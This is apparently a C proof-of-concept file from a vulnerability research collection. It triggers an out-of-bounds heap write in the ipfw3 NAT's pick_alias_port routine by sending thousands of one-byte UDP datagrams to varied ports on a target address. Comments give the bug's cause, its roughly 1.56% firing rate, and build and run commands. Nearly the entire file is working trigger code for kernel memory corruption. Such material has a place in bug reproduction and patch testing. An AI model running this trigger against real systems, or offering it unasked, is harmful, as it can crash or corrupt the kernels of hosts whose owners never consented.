DF-0572 / nat_oob_trigger.c
/* * DF-0569 — NAT alias_port OOB write trigger (UDP variant). * * Drives many short outbound UDP "connections" through the ipfw3 NAT to * exercise pick_alias_port (ip_fw3_nat.c:436). Each new UDP flow creates * a NAT state and stores the (byte-swapped) alias_port into udp_in[] * without ntohs — an OOB heap write that fires ~1.56% of the time. * * Using UDP avoids breaking SSH (which is TCP) when a broad NAT rule * is installed. * * Build: cc -O2 -o nat_oob_trigger nat_oob_trigger.c * Run: ./nat_oob_trigger <count> <dst_ip> */ #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <signal.h> int main(int argc, char *argv[]) { int count = (argc > 1) ? atoi(argv[1]) : 3000; const char *dst_ip = (argc > 2) ? argv[2] : "10.0.2.2"; struct sockaddr_in dst; int i, sent = 0; char buf[1] = {0x42}; signal(SIGPIPE, SIG_IGN); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; inet_aton(dst_ip, &dst.sin_addr); fprintf(stderr, "DF-0569 UDP: driving %d outbound UDP flows to %s " "(expect ~%.0f OOB writes at 1.56%%)\n", count, dst_ip, count * 0.0156); for (i = 0; i < count; i++) { int fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { if (errno == EMFILE || errno == ENFILE) { usleep(5000); continue; } perror("socket"); break; } /* vary dst port so each flow gets a unique 4-tuple */ dst.sin_port = htons(1 + (i % 60000)); int ret = sendto(fd, buf, 1, 0, (struct sockaddr *)&dst, sizeof(dst)); if (ret > 0) sent++; close(fd); if ((i + 1) % 500 == 0) fprintf(stderr, " %d/%d flows sent (%d ok)\n", i + 1, count, sent); } printf("DF-0569: completed %d UDP flow attempts (%d sent)\n", i, sent); printf("Each new flow called pick_alias_port; ~%.0f should have " "triggered the OOB write at ip_fw3_nat.c:425.\n", i * 0.0156); return 0; } |